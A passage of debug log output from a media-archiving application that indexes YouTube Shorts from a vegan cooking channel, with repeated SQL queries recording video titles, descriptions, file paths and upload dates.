s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:29.067 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1004.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:29.069 [debug] QUERY OK source="media_items" db=1.7ms idle=1004.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-23 14:00:01Z], 1] 20:27:29.070 [debug] QUERY OK source="media_items" db=0.8ms idle=1005.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Some delicious meals that I eat in a week as a vegan! Gluten and oil-free recipes for weight loss! \n\nSweet potato breakfast cookies, freezer-friendly burritos and BIG burrito bowls! \n\n Check out my full meal prep and what I eat in a week video here: https://youtu.be/SG55bgKwvDg", "What I eat in a day as a vegan 🌱 gluten + oil-free meals for weight loss", "026052d3-4def-457b-a5cd-041197b8a333", 1, [], 10, false, "-NqDcTLRxY4", "https://www.youtube.com/shorts/-NqDcTLRxY4", 256, "/downloads/downloads/alec/Steamy Vegan/2022-08-23 What I eat in a day as a vegan 🌱 gluten + oil-free meals for weight loss/What I eat in a day as a vegan 🌱 gluten + oil-free meals for weight loss [-NqDcTLRxY4].NA", false, false, true, 0, ~U[2022-08-23 14:00:01Z], ~U[2026-03-22 03:27:29Z], ~U[2026-03-22 03:27:29Z], "Some delicious meals that I eat in a week as a vegan! Gluten and oil-free recipes for weight loss! \n\nSweet potato breakfast cookies, freezer-friendly burritos and BIG burrito bowls! \n\n Check out my full meal prep and what I eat in a week video here: https://youtu.be/SG55bgKwvDg", "What I eat in a day as a vegan 🌱 gluten + oil-free meals for weight loss", 1, 10, false, "-NqDcTLRxY4", "https://www.youtube.com/shorts/-NqDcTLRxY4", "/downloads/downloads/alec/Steamy Vegan/2022-08-23 What I eat in a day as a vegan 🌱 gluten + oil-free meals for weight loss/What I eat in a day as a vegan 🌱 gluten + oil-free meals for weight loss [-NqDcTLRxY4].NA", true, ~U[2022-08-23 14:00:01Z]] 20:27:29.071 [debug] QUERY OK source="sources" db=0.6ms idle=878.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:29.072 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:29.072 [debug] QUERY OK source="media_items" db=0.5ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [645] 20:27:29.073 [debug] Current batch of media processed. Will check again in 1000ms 20:27:30.074 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "We've all had a pint of ice cream where the chunks of cookie dough just weren't there and we said to ourselves \"WTF, where's the cookie dough?\" Check out our full vegan ice cream in-depth review and taste test so you can find out which vegan ice creams are the best at preventing this horrible circumstance.\n\nFull Video Here: https://youtu.be/rU4cirfns1Q\n\nDon't forget to subscribe if you enjoy vegan food recipes, taste tests and product reviews! Thanks for your support! Brad and Janelle", "duration" => 28, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-20 The Case of the Missing Cookie Dough - We’ve all been here 😱🍦#shorts #youtubeshorts/The Case of the Missing Cookie Dough - We’ve all been here 😱🍦#shorts #youtubeshorts [vM3GDNjGwkg].NA", "id" => "vM3GDNjGwkg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/vM3GDNjGwkg", "playlist_index" => 257, "timestamp" => 1661017501, "title" => "The Case of the Missing Cookie Dough - We’ve all been here 😱🍦#shorts #youtubeshorts", "upload_date" => "20220820"} 20:27:30.075 [debug] QUERY OK source="sources" db=0.4ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:30.076 [debug] QUERY OK source="sources" db=0.8ms idle=1004.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:30.079 [debug] QUERY OK source="media_items" db=2.2ms idle=1004.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-20 17:45:01Z], 1] 20:27:30.080 [debug] QUERY OK source="media_items" db=0.9ms idle=1006.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We've all had a pint of ice cream where the chunks of cookie dough just weren't there and we said to ourselves \"WTF, where's the cookie dough?\" Check out our full vegan ice cream in-depth review and taste test so you can find out which vegan ice creams are the best at preventing this horrible circumstance.\n\nFull Video Here: https://youtu.be/rU4cirfns1Q\n\nDon't forget to subscribe if you enjoy vegan food recipes, taste tests and product reviews! Thanks for your support! Brad and Janelle", "The Case of the Missing Cookie Dough - We’ve all been here 😱🍦#shorts #youtubeshorts", "9c08db32-20fc-4c4d-8228-9db550f30d84", 1, [], 28, false, "vM3GDNjGwkg", "https://www.youtube.com/shorts/vM3GDNjGwkg", 257, "/downloads/downloads/alec/Steamy Vegan/2022-08-20 The Case of the Missing Cookie Dough - We’ve all been here 😱🍦#shorts #youtubeshorts/The Case of the Missing Cookie Dough - We’ve all been here 😱🍦#shorts #youtubeshorts [vM3GDNjGwkg].NA", false, false, true, 0, ~U[2022-08-20 17:45:01Z], ~U[2026-03-22 03:27:30Z], ~U[2026-03-22 03:27:30Z], "We've all had a pint of ice cream where the chunks of cookie dough just weren't there and we said to ourselves \"WTF, where's the cookie dough?\" Check out our full vegan ice cream in-depth review and taste test so you can find out which vegan ice creams are the best at preventing this horrible circumstance.\n\nFull Video Here: https://youtu.be/rU4cirfns1Q\n\nDon't forget to subscribe if you enjoy vegan food recipes, taste tests and product reviews! Thanks for your support! Brad and Janelle", "The Case of the Missing Cookie Dough - We’ve all been here 😱🍦#shorts #youtubeshorts", 1, 28, false, "vM3GDNjGwkg", "https://www.youtube.com/shorts/vM3GDNjGwkg", "/downloads/downloads/alec/Steamy Vegan/2022-08-20 The Case of the Missing Cookie Dough - We’ve all been here 😱🍦#shorts #youtubeshorts/The Case of the Missing Cookie Dough - We’ve all been here 😱🍦#shorts #youtubeshorts [vM3GDNjGwkg].NA", true, ~U[2022-08-20 17:45:01Z]] 20:27:30.081 [debug] QUERY OK source="sources" db=0.9ms idle=886.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:30.082 [debug] QUERY OK source="media_profiles" db=0.8ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:30.084 [debug] QUERY OK source="media_items" db=0.8ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [646] 20:27:30.084 [debug] Current batch of media processed. Will check again in 1000ms 20:27:31.085 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This week on the channel we got really cheesy and reviewed 4 of the best vegan cheeses on the market. If you enjoyed these cheesy lines then you'll really enjoy the whole taste test and review video below\n\nFull Video: https://youtu.be/lgPeexeqpJw\n\nDon't forget to subscribe and like if you enjoy vegan and gluten free recipes and taste test videos. Thanks for your support! Brad and Janelle", "duration" => 35, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-19 The Cheesiest Vegan Cheese Taste Test 🧀😂#shorts #youtubeshorts/The Cheesiest Vegan Cheese Taste Test 🧀😂#shorts #youtubeshorts [_mirKM81dzs].NA", "id" => "_mirKM81dzs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/_mirKM81dzs", "playlist_index" => 258, "timestamp" => 1660943400, "title" => "The Cheesiest Vegan Cheese Taste Test 🧀😂#shorts #youtubeshorts", "upload_date" => "20220819"} 20:27:31.086 [debug] QUERY OK source="sources" db=0.6ms idle=1005.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:31.087 [debug] QUERY OK source="sources" db=0.8ms idle=1005.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:31.090 [debug] QUERY OK source="media_items" db=2.2ms idle=1005.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-19 21:10:00Z], 1] 20:27:31.091 [debug] QUERY OK source="media_items" db=0.9ms idle=1006.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This week on the channel we got really cheesy and reviewed 4 of the best vegan cheeses on the market. If you enjoyed these cheesy lines then you'll really enjoy the whole taste test and review video below\n\nFull Video: https://youtu.be/lgPeexeqpJw\n\nDon't forget to subscribe and like if you enjoy vegan and gluten free recipes and taste test videos. Thanks for your support! Brad and Janelle", "The Cheesiest Vegan Cheese Taste Test 🧀😂#shorts #youtubeshorts", "8acf7108-2c0c-4fde-893b-2a5bee5fa193", 1, [], 35, false, "_mirKM81dzs", "https://www.youtube.com/shorts/_mirKM81dzs", 258, "/downloads/downloads/alec/Steamy Vegan/2022-08-19 The Cheesiest Vegan Cheese Taste Test 🧀😂#shorts #youtubeshorts/The Cheesiest Vegan Cheese Taste Test 🧀😂#shorts #youtubeshorts [_mirKM81dzs].NA", false, false, true, 0, ~U[2022-08-19 21:10:00Z], ~U[2026-03-22 03:27:31Z], ~U[2026-03-22 03:27:31Z], "This week on the channel we got really cheesy and reviewed 4 of the best vegan cheeses on the market. If you enjoyed these cheesy lines then you'll really enjoy the whole taste test and review video below\n\nFull Video: https://youtu.be/lgPeexeqpJw\n\nDon't forget to subscribe and like if you enjoy vegan and gluten free recipes and taste test videos. Thanks for your support! Brad and Janelle", "The Cheesiest Vegan Cheese Taste Test 🧀😂#shorts #youtubeshorts", 1, 35, false, "_mirKM81dzs", "https://www.youtube.com/shorts/_mirKM81dzs", "/downloads/downloads/alec/Steamy Vegan/2022-08-19 The Cheesiest Vegan Cheese Taste Test 🧀😂#shorts #youtubeshorts/The Cheesiest Vegan Cheese Taste Test 🧀😂#shorts #youtubeshorts [_mirKM81dzs].NA", true, ~U[2022-08-19 21:10:00Z]] 20:27:31.092 [debug] QUERY OK source="sources" db=0.3ms idle=895.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:31.093 [debug] QUERY OK source="media_profiles" db=0.7ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:31.093 [debug] QUERY OK source="media_items" db=0.4ms idle=5.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [647] 20:27:31.094 [debug] Current batch of media processed. Will check again in 1000ms 20:27:32.095 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "In our recent vegan cheese taste test, things went a little wrong with this blooper. Hey, mistakes happen in life and it's ok, we all slip up from time to time and blurt out ...sliced virgins.\n\nCheck out the full episode here: https://youtu.be/lgPeexeqpJw", "duration" => 37, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-18 Taste Test Gone Very Wrong 😮 😂 #shorts #youtubeshorts/Taste Test Gone Very Wrong 😮 😂 #shorts #youtubeshorts [ZYFYhEAxqSE].NA", "id" => "ZYFYhEAxqSE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/ZYFYhEAxqSE", "playlist_index" => 259, "timestamp" => 1660866600, "title" => "Taste Test Gone Very Wrong 😮 😂 #shorts #youtubeshorts", "upload_date" => "20220818"} 20:27:32.096 [debug] QUERY OK source="sources" db=1.0ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:32.098 [debug] QUERY OK source="sources" db=0.9ms idle=1005.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:32.101 [debug] QUERY OK source="media_items" db=3.0ms idle=1005.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-18 23:50:00Z], 1] 20:27:32.104 [debug] QUERY OK source="media_items" db=2.2ms idle=1007.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In our recent vegan cheese taste test, things went a little wrong with this blooper. Hey, mistakes happen in life and it's ok, we all slip up from time to time and blurt out ...sliced virgins.\n\nCheck out the full episode here: https://youtu.be/lgPeexeqpJw", "Taste Test Gone Very Wrong 😮 😂 #shorts #youtubeshorts", "f8a99b17-7bcc-41f9-8b55-81b42b488bdb", 1, [], 37, false, "ZYFYhEAxqSE", "https://www.youtube.com/shorts/ZYFYhEAxqSE", 259, "/downloads/downloads/alec/Steamy Vegan/2022-08-18 Taste Test Gone Very Wrong 😮 😂 #shorts #youtubeshorts/Taste Test Gone Very Wrong 😮 😂 #shorts #youtubeshorts [ZYFYhEAxqSE].NA", false, false, true, 0, ~U[2022-08-18 23:50:00Z], ~U[2026-03-22 03:27:32Z], ~U[2026-03-22 03:27:32Z], "In our recent vegan cheese taste test, things went a little wrong with this blooper. Hey, mistakes happen in life and it's ok, we all slip up from time to time and blurt out ...sliced virgins.\n\nCheck out the full episode here: https://youtu.be/lgPeexeqpJw", "Taste Test Gone Very Wrong 😮 😂 #shorts #youtubeshorts", 1, 37, false, "ZYFYhEAxqSE", "https://www.youtube.com/shorts/ZYFYhEAxqSE", "/downloads/downloads/alec/Steamy Vegan/2022-08-18 Taste Test Gone Very Wrong 😮 😂 #shorts #youtubeshorts/Taste Test Gone Very Wrong 😮 😂 #shorts #youtubeshorts [ZYFYhEAxqSE].NA", true, ~U[2022-08-18 23:50:00Z]] 20:27:32.105 [debug] QUERY OK source="sources" db=0.8ms idle=906.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:32.106 [debug] QUERY OK source="media_profiles" db=0.8ms idle=8.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:32.107 [debug] QUERY OK source="media_items" db=0.9ms idle=8.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [648] 20:27:32.108 [debug] Current batch of media processed. Will check again in 1000ms 20:27:33.109 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Full Vegan Ice Cream Taste Test Video Link: https://youtu.be/rU4cirfns1Q\n\nIf you're so hot that you're melted to the couch then you'll want to cool down with our vegan ice cream taste test and review video!\n\nSubscribe if you enjoy vegan recipes and taste test videos! Thanks for your support!", "duration" => 8, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-17 Are you doing sweat angels on the floor cus it’s so hot? 🥵 vegan ice cream review #shorts/Are you doing sweat angels on the floor cus it’s so hot? 🥵 vegan ice cream review #shorts [RuU3kx3alNk].NA", "id" => "RuU3kx3alNk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/RuU3kx3alNk", "playlist_index" => 260, "timestamp" => 1660778213, "title" => "Are you doing sweat angels on the floor cus it’s so hot? 🥵 vegan ice cream review #shorts", "upload_date" => "20220817"} 20:27:33.110 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1005.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", 